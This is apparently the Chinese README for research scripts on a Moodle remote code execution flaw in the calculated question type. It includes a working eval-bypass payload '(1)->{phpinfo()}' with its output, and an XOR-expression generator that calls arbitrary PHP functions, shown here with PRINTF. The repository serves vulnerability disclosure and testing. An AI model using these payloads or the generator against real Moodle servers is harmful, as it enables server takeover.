本仓库包含博文 Back to School - Exploiting a Remote Code Execution Vulnerability in Moodle 的配套脚本,该博文描述了Moodle学习平台中的一个远程代码执行漏洞。
validation 目录中的脚本可用于直接测试输入字符串对Moodle用于防止滥用PHP eval() 调用的验证逻辑。
所有代码片段均直接改编自 Moodle的源代码,使用 4.4.1版本 作为存在漏洞的版本,4.4.2版本 作为已修复的版本。脚本包含了 question/type/calculated/questiontype.php 文件中的相关部分。
validation.php 文件使用了存在漏洞的验证逻辑:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
本仓库还包含了修复版验证代码,位于 validation-fixed.php:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
脚本 xor-generator.py 可用于基于变量函数生成表达式,这些表达式允许在存在漏洞的Moodle版本中调用任意PHP函数并传入单个数字参数:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test